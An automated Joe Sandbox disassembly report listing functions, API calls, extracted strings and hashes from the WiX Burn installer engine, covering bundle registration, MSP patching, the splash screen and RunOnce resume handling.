Instruction ID: 98cb4b1b402c79427c2a812a9dbe57845529a33666ba6de438b9e24d40ad70bc
Opcode Fuzzy Hash: abb6c4d9ff6fae341475b0ad0cd27879ff6875fc96793f2c17a9c6f32cfa39a2
Instruction Fuzzy Hash: 33314C39944315AAC711EFF9EC0DA5E3FE4FB94361B54866AE41C822B0DBB084C2DB52

Function 00A45073 Relevance: 40.5, APIs: 12, Strings: 11, Instructions: 232synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00A52955: GetProcessHeap.KERNEL32(00A46A7B,?,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000), ref: 00A52966
Part of subcall function 00A52955: RtlAllocateHeap.NTDLL(00000000,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A5296D

CreateEventW.KERNEL32(00000000,00000000,00000000,?,00000018,00000001,00000000,00000000,00000000,?,?,00A45456,?,?,?), ref: 00A450B1
GetLastError.KERNEL32(?,?,00A45456,?,?,?), ref: 00A450BE
ReleaseMutex.KERNEL32(?), ref: 00A4532A

Strings

NetFxChainer.cpp, xrefs: 00A45096, 00A450E0, 00A45148, 00A451B8, 00A4520B, 00A45254
Failed to MapViewOfFile for %ls., xrefs: 00A45261
Failed to allocate memory for NetFxChainer struct., xrefs: 00A450A0
failed to allocate memory for mutex name, xrefs: 00A45179
Failed to create event: %ls, xrefs: 00A45155
Failed to memory map cabinet file: %ls, xrefs: 00A45218
Failed to create mutex: %ls, xrefs: 00A451C5
failed to copy event name to shared memory structure., xrefs: 00A4528D
%ls_send, xrefs: 00A450F5
failed to allocate memory for event name, xrefs: 00A45109
%ls_mutex, xrefs: 00A45165

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Heap$AllocateCreateErrorEventLastMutexProcessRelease
String ID: %ls_mutex$%ls_send$Failed to MapViewOfFile for %ls.$Failed to allocate memory for NetFxChainer struct.$Failed to create event: %ls$Failed to create mutex: %ls$Failed to memory map cabinet file: %ls$NetFxChainer.cpp$failed to allocate memory for event name$failed to allocate memory for mutex name$failed to copy event name to shared memory structure.
API String ID: 3944734951-2991465304
Opcode ID: c0b2eb45ca08e466d9b71b9132a6fe904056e97e0285f00c1a15df655f9dc3b4
Instruction ID: 71c7c8b95034011a18a2fc35a7a537b730879a24c85694e831bf0ccdaa319936
Opcode Fuzzy Hash: c0b2eb45ca08e466d9b71b9132a6fe904056e97e0285f00c1a15df655f9dc3b4
Instruction Fuzzy Hash: 4A71E0BAA40705FFC720AF74CC89EAA7BB5BB94301F24493CF5169B282D6759849C720

Function 00A44652 Relevance: 37.1, APIs: 1, Strings: 20, Instructions: 337COMMON

Download Yara Rule

Strings

Failed to copy filename for pseudo bundle., xrefs: 00A44739
pseudobundle.cpp, xrefs: 00A44697, 00A446CA, 00A447C0, 00A449B3
Failed to append relation type to uninstall arguments for related bundle package, xrefs: 00A44956
Failed to allocate memory for pseudo bundle payload hash., xrefs: 00A447CA
Failed to copy local source path for pseudo bundle., xrefs: 00A4475C
Failed to allocate space for burn payload inside of related bundle struct, xrefs: 00A446D4
Failed to copy version for pseudo bundle., xrefs: 00A44A03
Failed to append relation type to install arguments for related bundle package, xrefs: 00A448BC
Failed to append relation type to repair arguments for related bundle package, xrefs: 00A44904
Failed to copy cache id for pseudo bundle., xrefs: 00A4487A
Failed to copy display name for pseudo bundle., xrefs: 00A44A24
Failed to copy repair arguments for related bundle package, xrefs: 00A448E3
Failed to copy key for pseudo bundle., xrefs: 00A4485C
Failed to allocate memory for dependency providers., xrefs: 00A449BD
Failed to copy install arguments for related bundle package, xrefs: 00A4489B
Failed to copy key for pseudo bundle payload., xrefs: 00A44716
Failed to allocate space for burn package payload inside of related bundle struct, xrefs: 00A446A1
Failed to copy download source for pseudo bundle., xrefs: 00A4478A
Failed to copy uninstall arguments for related bundle package, xrefs: 00A44935
-%ls, xrefs: 00A4466A

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID: -%ls$Failed to allocate memory for dependency providers.$Failed to allocate memory for pseudo bundle payload hash.$Failed to allocate space for burn package payload inside of related bundle struct$Failed to allocate space for burn payload inside of related bundle struct$Failed to append relation type to install arguments for related bundle package$Failed to append relation type to repair arguments for related bundle package$Failed to append relation type to uninstall arguments for related bundle package$Failed to copy cache id for pseudo bundle.$Failed to copy display name for pseudo bundle.$Failed to copy download source for pseudo bundle.$Failed to copy filename for pseudo bundle.$Failed to copy install arguments for related bundle package$Failed to copy key for pseudo bundle payload.$Failed to copy key for pseudo bundle.$Failed to copy local source path for pseudo bundle.$Failed to copy repair arguments for related bundle package$Failed to copy uninstall arguments for related bundle package$Failed to copy version for pseudo bundle.$pseudobundle.cpp
API String ID: 1357844191-2832335422
Opcode ID: 2b041f40bf7d1e7c399f527677acd1f28d04aac830d24c5edadb17d71048bda3
Instruction ID: 333728f300fc06d0d1c56f3afb2bf53e3df8bdac55559038bdbd091e05eb11bf
Opcode Fuzzy Hash: 2b041f40bf7d1e7c399f527677acd1f28d04aac830d24c5edadb17d71048bda3
Instruction Fuzzy Hash: 34C19F39280701FFDB21DF68C982F6676F5BFC9751F204429F91A9B291EB70E8059B10

Function 00A3E0D4 Relevance: 37.1, APIs: 1, Strings: 20, Instructions: 320COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A3E142

Strings

Failed to append patch., xrefs: 00A3E2B3
Failed to uninstall MSP package., xrefs: 00A3E49C
Failed to build MSP path., xrefs: 00A3E29A
Failed to add properties to argument string., xrefs: 00A3E31E
Failed to add properties to obfuscated argument string., xrefs: 00A3E354
Failed to add reboot suppression property on install., xrefs: 00A3E3FD
Failed to install MSP package., xrefs: 00A3E429
Failed to add the list of dependencies to ignore to the properties., xrefs: 00A3E474
Failed to add reboot suppression property on uninstall., xrefs: 00A3E448
IGNOREDEPENDENCIES, xrefs: 00A3E44F
Failed to get cached path for MSP package: %ls, xrefs: 00A3E285
Failed to add PATCH property on install., xrefs: 00A3E3B8
Failed to initialize external UI handler., xrefs: 00A3E1A7
PATCH=", xrefs: 00A3E3A1
Failed to add patches to PATCH property on install., xrefs: 00A3E3DB
Failed to enable logging for package: %ls to: %ls, xrefs: 00A3E2E0
" REBOOT=ReallySuppress, xrefs: 00A3E3E6
Failed to semi-colon delimit patches., xrefs: 00A3E2AC
%ls %ls=ALL, xrefs: 00A3E460
REBOOT=ReallySuppress, xrefs: 00A3E431

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: PATCH="$ REBOOT=ReallySuppress$" REBOOT=ReallySuppress$%ls %ls=ALL$Failed to add PATCH property on install.$Failed to add patches to PATCH property on install.$Failed to add properties to argument string.$Failed to add properties to obfuscated argument string.$Failed to add reboot suppression property on install.$Failed to add reboot suppression property on uninstall.$Failed to add the list of dependencies to ignore to the properties.$Failed to append patch.$Failed to build MSP path.$Failed to enable logging for package: %ls to: %ls$Failed to get cached path for MSP package: %ls$Failed to initialize external UI handler.$Failed to install MSP package.$Failed to semi-colon delimit patches.$Failed to uninstall MSP package.$IGNOREDEPENDENCIES
API String ID: 2102423945-1976012679
Opcode ID: 7351a7e68a4187ea362bf568ed979204927802660497b8edbcc7a87c475487fa
Instruction ID: aae46e1b647ba25a3dc675a90521d7aa6407c6919940bd50c2139ba6adbd2f37
Opcode Fuzzy Hash: 7351a7e68a4187ea362bf568ed979204927802660497b8edbcc7a87c475487fa
Instruction Fuzzy Hash: F7C18371A00618EFDF21DFA4CD81EA9B7B6BB98310F1044E5F509A7291D6739EA4CF50

Function 00A367ED Relevance: 35.4, APIs: 8, Strings: 12, Instructions: 416COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,?,00000001,00A375F1,?,?,00000000,?,?,?,?,00A375F1,00000000,?,?), ref: 00A36820

Strings

Failed to parse condition "%ls". Version can have a maximum of 4 parts, at position %d., xrefs: 00A36A27
Failed to parse condition "%ls". Unexpected '~' operator at position %d., xrefs: 00A36C6E
Failed to set symbol value., xrefs: 00A36B66
AND, xrefs: 00A36B02
NOT, xrefs: 00A36B22
condition.cpp, xrefs: 00A368CF, 00A3698B, 00A36A0D, 00A36A6C, 00A36BD4, 00A36C03, 00A36C54
Failed to parse condition "%ls". Unterminated literal at position %d., xrefs: 00A368E9
Failed to parse condition "%ls". Identifier cannot start at a digit, at position %d., xrefs: 00A36C1D
Failed to parse condition "%ls". Constant too big, at position %d., xrefs: 00A36BEE
Failed to parse condition "%ls". Invalid version format, at position %d., xrefs: 00A36A86
Failed to parse condition "%ls". Unexpected character at position %d., xrefs: 00A369A5
@, xrefs: 00A36826

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: StringType
String ID: @$AND$Failed to parse condition "%ls". Constant too big, at position %d.$Failed to parse condition "%ls". Identifier cannot start at a digit, at position %d.$Failed to parse condition "%ls". Invalid version format, at position %d.$Failed to parse condition "%ls". Unexpected '~' operator at position %d.$Failed to parse condition "%ls". Unexpected character at position %d.$Failed to parse condition "%ls". Unterminated literal at position %d.$Failed to parse condition "%ls". Version can have a maximum of 4 parts, at position %d.$Failed to set symbol value.$NOT$condition.cpp
API String ID: 4177115715-289295652
Opcode ID: f3bbbe079e7079abe0fcbeca1d680cfe6a0b9509c79a8e8260c2c7a700a9a049
Instruction ID: e0d4c79c156e9fec4c15ecef3b6a2a41a4d758f01e10b7618f5a7ac8ad6f8a87
Opcode Fuzzy Hash: f3bbbe079e7079abe0fcbeca1d680cfe6a0b9509c79a8e8260c2c7a700a9a049
Instruction Fuzzy Hash: B4E1CF71654B05FBDB318F50C949BBABBF4FB44705F208A0DF182AA580D7F5AA88DB50

Function 00A25BC5 Relevance: 35.2, APIs: 4, Strings: 16, Instructions: 222COMMON

Download Yara Rule

Strings

Upgrade, xrefs: 00A25CC8
Failed to get next RelatedBundle element., xrefs: 00A25DFC
Action, xrefs: 00A25C44
Patch, xrefs: 00A25D55
Detect, xrefs: 00A25C80
Addon, xrefs: 00A25D10
Failed to get RelatedBundle nodes, xrefs: 00A25BF5
Failed to get @Id., xrefs: 00A25E0A
Failed to resize Addon code array in registration, xrefs: 00A25E1F
Failed to get RelatedBundle element count., xrefs: 00A25C12
Invalid value for @Action: %ls, xrefs: 00A25DB0
Failed to get @Action., xrefs: 00A25E03
Failed to resize Detect code array in registration, xrefs: 00A25E11
Failed to resize Patch code array in registration, xrefs: 00A25E26
Failed to resize Upgrade code array in registration, xrefs: 00A25E18
RelatedBundle, xrefs: 00A25BD3

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID:
String ID: Action$Addon$Detect$Failed to get @Action.$Failed to get @Id.$Failed to get RelatedBundle element count.$Failed to get RelatedBundle nodes$Failed to get next RelatedBundle element.$Failed to resize Addon code array in registration$Failed to resize Detect code array in registration$Failed to resize Patch code array in registration$Failed to resize Upgrade code array in registration$Invalid value for @Action: %ls$Patch$RelatedBundle$Upgrade
API String ID: 0-3660206225
Opcode ID: f24225663fac8377bcc0bacfa76fae24ec2d6a7e3ee78657a9fed9219324102b
Instruction ID: 41785f0ac7fac00ef81f7111732d483424ad30573f76b6aab99e610e5f10e34e
Opcode Fuzzy Hash: f24225663fac8377bcc0bacfa76fae24ec2d6a7e3ee78657a9fed9219324102b
Instruction Fuzzy Hash: A971AF71A40B19BFDB10DF68DD85FAEB7B5FB44755F214868E902AB280D630AE06DB10

Function 00A2C3AE Relevance: 33.6, APIs: 6, Strings: 13, Instructions: 354synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00A2BBD1: EnterCriticalSection.KERNEL32(?,?,?,00000000,?,00A2DA59,?,00000000,76C1B390,?,00000000), ref: 00A2BBE0
Part of subcall function 00A2BBD1: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 00A2BBED
Part of subcall function 00A2BBD1: LeaveCriticalSection.KERNEL32(?,?,00A2DA59,?,00000000,76C1B390,?,00000000), ref: 00A2BC02

ReleaseMutex.KERNEL32(?,00A2138B,00000000,?,00A213BB,00000001,00000000), ref: 00A2C791
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00A21303,?,?,00A2180F), ref: 00A2C79A
CloseHandle.KERNEL32(?,00A2138B,00000000,?,00A213BB,00000001,00000000), ref: 00A2C7B9

Part of subcall function 00A417CE: SetThreadExecutionState.KERNEL32(80000001), ref: 00A417D3

Strings

Failed to register bundle., xrefs: 00A2C5B2
Failed to cache engine to working directory., xrefs: 00A2C52F
Another per-user setup is already executing., xrefs: 00A2C49D
core.cpp, xrefs: 00A2C452, 00A2C677
Engine cannot start apply because it is busy with another action., xrefs: 00A2C40C
Failed to elevate., xrefs: 00A2C553
Failed to set initial apply variables., xrefs: 00A2C4C7
UX aborted apply begin., xrefs: 00A2C45C
Failed to create cache thread., xrefs: 00A2C681
Another per-machine setup is already executing., xrefs: 00A2C58D
Posted message to parent process to signal that the parent process can stop waiting, xrefs: 00A2C603
Failed to send completion over the pipe., xrefs: 00A2C5F9
Failed while caching, aborting execution., xrefs: 00A2C69D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseCriticalHandleSection$CompareEnterExchangeExecutionInterlockedLeaveMutexReleaseStateThread
String ID: Another per-machine setup is already executing.$Another per-user setup is already executing.$Engine cannot start apply because it is busy with another action.$Failed to cache engine to working directory.$Failed to create cache thread.$Failed to elevate.$Failed to register bundle.$Failed to send completion over the pipe.$Failed to set initial apply variables.$Failed while caching, aborting execution.$Posted message to parent process to signal that the parent process can stop waiting$UX aborted apply begin.$core.cpp
API String ID: 1740103319-3198874528
Opcode ID: 3972a1bcf0258b4118f6ceab876b92a76a049926871df1738d878e7319c965c9
Instruction ID: d84623afdff3cbb7a24d5847515612d99f63616aa3c5b3054cd1cbcc71ae9261
Opcode Fuzzy Hash: 3972a1bcf0258b4118f6ceab876b92a76a049926871df1738d878e7319c965c9
Instruction Fuzzy Hash: 6FC195B2940725EFCB20AFA8DD85EEE77B9BB44311F10483EF256A3041DB315A85DB61

Function 00A458B0 Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 189COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,00A43EB0,00000000), ref: 00A458BC
_memset.LIBCMT ref: 00A458D7
CloseHandle.KERNEL32(00A3ACBD,00000000,00A45814,00A45B07,?,?,?,?,00000000,?,?,00000001,?), ref: 00A45A7C
CloseHandle.KERNEL32(?,00000000,00A45814,00A45B07,?,?,?,?,00000000,?,?,00000001,?), ref: 00A45A89
CloseHandle.KERNEL32(?,00000000,00A45814,00A45B07,?,?,?,?,00000000,?,?,00000001,?), ref: 00A45AA3

Part of subcall function 00A235AD: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(D:(A;;GA;;;SY)(A;;GA;;;BA)(A;;GRGW0x00100000;;;WD),00000001,?,00000000), ref: 00A235DA
Part of subcall function 00A235AD: GetLastError.KERNEL32(00000000,00A217A9,00A2BDAF,00A2130D,?), ref: 00A235E3
Part of subcall function 00A235AD: LocalFree.KERNEL32(?,00A2130D), ref: 00A23746

Strings

Failed to wait for embedded process to connect to pipe., xrefs: 00A45A0F
embedded.cpp, xrefs: 00A459D7
Failed to create embedded process atpath: %ls, xrefs: 00A459E4
Failed to process messages from embedded message., xrefs: 00A45A31
burn.embedded.async, xrefs: 00A45915, 00A4596B
burn.embedded, xrefs: 00A4591F
Failed to create embedded pipe., xrefs: 00A45955
Failed to wait for embedded executable: %ls, xrefs: 00A45A60
Failed to create embedded pipe name and client token., xrefs: 00A45937
%ls -%ls %ls %ls %u, xrefs: 00A4596F
Failed to allocate embedded command., xrefs: 00A45983

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandle$DescriptorSecurity$ConvertCurrentErrorFreeLastLocalProcessString_memset
String ID: %ls -%ls %ls %ls %u$Failed to allocate embedded command.$Failed to create embedded pipe name and client token.$Failed to create embedded pipe.$Failed to create embedded process atpath: %ls$Failed to process messages from embedded message.$Failed to wait for embedded executable: %ls$Failed to wait for embedded process to connect to pipe.$burn.embedded$burn.embedded.async$embedded.cpp
API String ID: 1195026954-3691304899
Opcode ID: 2260be8397819837b15eff7aa2decdedf1e442287e3f696ef52c8c3846912b01
Instruction ID: 20c94511b4cb5395f2b783860094f07f06aebb4a45e1d58410a8ad5a0de27188
Opcode Fuzzy Hash: 2260be8397819837b15eff7aa2decdedf1e442287e3f696ef52c8c3846912b01
Instruction Fuzzy Hash: B5519A76D00629FFCF11EFE4DD859EEBBB9BF48750F100526F600A2152E6718A84DBA0

Function 00A37F05 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 206fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00A2130D,40000000,00000005,00000000,00000002,08000080,00000000,00000000,00000000,00000000,00A2130D,00A217A5,?,00A21355,?,00000000), ref: 00A37F44
GetLastError.KERNEL32(?,00A2130D,?,?,00A2180F,?,?,?,00A21E12,?), ref: 00A37F52

Part of subcall function 00A55E5C: ReadFile.KERNEL32(?,?,?,?,00000000,00000000,76C1B390,00000000,?,00A37FCF,?,?,?,00000000,00000000,?), ref: 00A55EF8

SetFilePointerEx.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00A38001
GetLastError.KERNEL32(?,00A2130D,?,?,00A2180F,?,?,?,00A21E12,?), ref: 00A3800B
CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00A2130D,?,?,00A2180F), ref: 00A38145

Strings

Failed to seek to checksum in exe header., xrefs: 00A3803A
cache.cpp, xrefs: 00A37F77, 00A38030, 00A3809B, 00A38110
Failed to create engine file at path: %ls, xrefs: 00A37F84
Failed to copy engine from: %ls to: %ls, xrefs: 00A37FDB
Failed to seek to beginning of engine file: %ls, xrefs: 00A37FAC
Failed to update signature offset., xrefs: 00A38058
Failed to seek to original data in exe burn section header., xrefs: 00A3811A
Failed to zero out original data offset., xrefs: 00A38135
Failed to seek to signature table in exe header., xrefs: 00A380A5

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: File$ErrorLast$CloseCreateHandlePointerRead
String ID: Failed to copy engine from: %ls to: %ls$Failed to create engine file at path: %ls$Failed to seek to beginning of engine file: %ls$Failed to seek to checksum in exe header.$Failed to seek to original data in exe burn section header.$Failed to seek to signature table in exe header.$Failed to update signature offset.$Failed to zero out original data offset.$cache.cpp
API String ID: 3456208997-3092846023
Opcode ID: d96d65d180e1f35f11f990e8825446d40e52c164784a40c63501e8b7795e5b7f
Instruction ID: b95c52e1b2b67aaa0358554bde6d9e6652040b26fa6a9d66916fe0c698daeddf
Opcode Fuzzy Hash: d96d65d180e1f35f11f990e8825446d40e52c164784a40c63501e8b7795e5b7f
Instruction Fuzzy Hash: 71512872640706BFDB10ABB4CD86E7F76BAFB44746F200528F611E7090DE398C498761

Function 00A36459 Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 172windowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A57ABB: GdiplusStartup.GDIPLUS(?,?,?,00000000,?,00A364B0,?,?,?), ref: 00A57AC8

LoadCursorW.USER32(00000000,00007F00), ref: 00A364F8
RegisterClassW.USER32(?), ref: 00A3650C
GetLastError.KERNEL32 ref: 00A36517
CreateWindowExW.USER32(00000080,00A67634,?,90000000,?,?,?,?,00000000,00000000,?,?), ref: 00A3657D
GetLastError.KERNEL32 ref: 00A3658A
SetEvent.KERNEL32(?), ref: 00A365CD
IsDialogMessageW.USER32(?,?), ref: 00A365E7
TranslateMessage.USER32(?), ref: 00A365F5
DispatchMessageW.USER32(?), ref: 00A365FF
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00A3660C
UnregisterClassW.USER32(WixBurnSplashScreen,?), ref: 00A36632

Strings

Failed to create window., xrefs: 00A365BE
splashscreen.cpp, xrefs: 00A36541, 00A365B4
Failed to initialize GDI+., xrefs: 00A364BA
Unexpected return value from message pump., xrefs: 00A36619
Failed to register window., xrefs: 00A3654B
WixBurnSplashScreen, xrefs: 00A36505, 00A3662D
Failed to load splash screen., xrefs: 00A364DE

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Message$ClassErrorLast$CreateCursorDialogDispatchEventGdiplusLoadRegisterStartupTranslateUnregisterWindow
String ID: Failed to create window.$Failed to initialize GDI+.$Failed to load splash screen.$Failed to register window.$Unexpected return value from message pump.$WixBurnSplashScreen$splashscreen.cpp
API String ID: 515895837-4030304179
Opcode ID: 9621f0e79765732998f45cd1d8e7c469fe8e24e9866c5acde90d41c9e7862195
Instruction ID: d111b13036c2d1c0711003d017a18c29e44024bf4f1deb2bbe261c6f05f5df42
Opcode Fuzzy Hash: 9621f0e79765732998f45cd1d8e7c469fe8e24e9866c5acde90d41c9e7862195
Instruction Fuzzy Hash: FF515672910219FFCB11DFE4DD499ADBBB9FF08711F20842AF115EA190D7719A44DBA0

Function 00A268E9 Relevance: 31.7, APIs: 3, Strings: 15, Instructions: 166registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000,?,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,00020006,00000000,00000000,00000000,?,?), ref: 00A26AED

Part of subcall function 00A53C9B: RegSetValueExW.ADVAPI32(?,00020006,00000000,00000004,00A26938,00000004,00000001,?,00A26938,00020006,Resume,00A213BB,00000000,00000000,?,?), ref: 00A53CB0

Strings

BundleResumeCommandLine, xrefs: 00A269F5, 00A26A8D
Resume, xrefs: 00A2692B
Failed to write run key value., xrefs: 00A269E8
Failed to write resume command line value., xrefs: 00A26A0C
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00A269B7, 00A26A1F
registration.cpp, xrefs: 00A26A74, 00A26ABF
"%ls" /%ls, xrefs: 00A26990
Failed to delete run key value., xrefs: 00A26A7E
Failed to write Installed value., xrefs: 00A26962
burn.runonce, xrefs: 00A26985
Failed to format resume command line for RunOnce., xrefs: 00A269A4
Installed, xrefs: 00A2694F
Failed to delete resume command line value., xrefs: 00A26AC9
Failed to create run key., xrefs: 00A269CA
Failed to write Resume value., xrefs: 00A2693E

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseValue
String ID: "%ls" /%ls$BundleResumeCommandLine$Failed to create run key.$Failed to delete resume command line value.$Failed to delete run key value.$Failed to format resume command line for RunOnce.$Failed to write Installed value.$Failed to write Resume value.$Failed to write resume command line value.$Failed to write run key value.$Installed$Resume$SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce$burn.runonce$registration.cpp
API String ID: 3132538880-3648537543
Opcode ID: 8ac00009219aa2be1b4cfc11ccba89e2a62c0e9659ed22c470884e715a63ca30
Instruction ID: 5ef7ac8a0073b32f6bf67d63a43398819faed8b4e6d68fc0d01cc3e809579d30
Opcode Fuzzy Hash: 8ac00009219aa2be1b4cfc11ccba89e2a62c0e9659ed22c470884e715a63ca30
Instruction Fuzzy Hash: 5D514832581725FADF229B6CED42F6E3676BB80392F248834FC04B6191EF71CA58D650

Function 00A438CC Relevance: 30.0, APIs: 4, Strings: 13, Instructions: 210threadCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000001,?,00000000,000000FF,00000001,00000000,?,?,?,?,00A43DF8,00000001,00000000,000000B9,00000000,?), ref: 00A43925
GetExitCodeThread.KERNEL32(?,00000001,?,?,?,?,00A43DF8,00000001,00000000,000000B9,00000000,?,?,?,000000B9,00000000), ref: 00A43941
GetLastError.KERNEL32(?,?,?,?,00A43DF8,00000001,00000000,000000B9,00000000,?,?,?,000000B9,00000000,00000001,00000000), ref: 00A4394F
